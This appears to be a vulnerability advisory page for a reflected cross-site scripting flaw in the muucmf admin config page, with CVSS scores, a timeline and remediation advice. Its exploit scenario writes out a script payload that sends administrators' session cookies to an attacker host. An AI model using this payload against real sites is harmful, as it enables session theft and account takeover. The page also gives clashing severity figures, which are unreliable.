Which versions of Muucmf are affected by EUVD-2026-16134?

Organizations using A vulnerability should be aware of moderate risk from CVE-2026-4847, a cross-site scripting vulnerability rated CVSS 5.3.

Is there a public PoC exploit available for EUVD-2026-16134?

Yes, a public proof-of-concept exploit is available for EUVD-2026-16134. Prioritise patching immediately. EPSS: 0.0%.

How to fix or mitigate EUVD-2026-16134?

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. Verify Content-Security-Policy and output encoding.

Muucmf EUVD-2026-16134

Q: What is the CVSS score of EUVD-2026-16134?

EUVD-2026-16134 has a CVSS 4.0 base score of 2.1 (Low). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.0%.

| CVE-2026-4847 LOW

Cross-site Scripting (XSS) (CWE-79)

2026-03-26 VulDB

GHSA-q8fm-q448-xc94

XSS Muucmf

2.1

CVSS 4.0 · NVD

Severity by source

NVD PRIMARY

2.1 LOW

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Scope

Lifecycle Timeline

Severity Changed

Apr 29, 2026 - 01:11 NVD

MEDIUM LOW

CVSS changed

Apr 29, 2026 - 01:11 NVD

5.3 (MEDIUM) 2.1 (LOW)

PoC Detected

Mar 30, 2026 - 13:26 vuln.today

Public exploit code

EUVD ID Assigned

Mar 26, 2026 - 07:00 euvd

EUVD-2026-16134

Analysis Generated

Mar 26, 2026 - 07:00 vuln.today

CVE Published

Mar 26, 2026 - 06:23 nvd

MEDIUM 5.3

DescriptionCVE.org

A vulnerability was found in dameng100 muucmf 1.9.5.20260309. The impacted element is an unknown function of the file /admin/config/list.html. Performing a manipulation of the argument Name results in cross site scripting. The attack can be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.

AnalysisAI

A reflected cross-site scripting (XSS) vulnerability exists in dameng100 muucmf version 1.9.5.20260309 within the /admin/config/list.html endpoint, where the Name parameter is not properly sanitized before being rendered in the response. An unauthenticated remote attacker can craft a malicious URL containing JavaScript code in the Name parameter to execute arbitrary scripts in a victim's browser context, potentially leading to session hijacking, credential theft, or malware distribution. …

Unlock full vulnerability intelligence

Risk assessment & exploitation conditions
Attack chain visualization
Remediation with exact patch versions
Threat intelligence from 22 sources
Personal watchlist & email alerts

Continue with Google Continue with GitHub

Free forever · No credit card required

Vulnerability AssessmentAI

Risk Assessment	While the CVSS 3.1 base score of 4.3 appears moderate, the exploitation signals warrant careful attention. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker crafts a malicious URL such as 'https://target.com/admin/config/list.html?Name=<script>fetch(attacker.com/steal?cookie='+document.cookie+')</script>' and sends it via phishing email to muucmf administrators or embeds it in a compromised webpage. When an administrator clicks the link while logged into muucmf, the JavaScript executes in their browser, exfiltrating session cookies to the attacker's server, allowing account takeover. …
Remediation	Immediately contact dameng100 for security updates and patch availability for version 1.9.5.20260309; if patches are not forthcoming, evaluate migration to alternative products with active security support. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. …

Threat intelligence, references, and detailed analysis are available after sign-in.

EUVD-2026-16134 vulnerability details – vuln.today

Back